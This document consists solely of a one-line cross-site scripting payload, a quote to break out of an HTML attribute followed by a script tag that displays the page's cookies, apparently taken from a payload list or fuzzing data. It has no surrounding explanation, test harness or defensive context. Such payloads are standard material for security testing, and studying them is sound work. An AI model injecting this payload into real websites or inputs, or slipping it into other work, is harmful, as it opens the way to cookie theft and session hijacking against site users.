"<script>prompt(document.cookie)</script>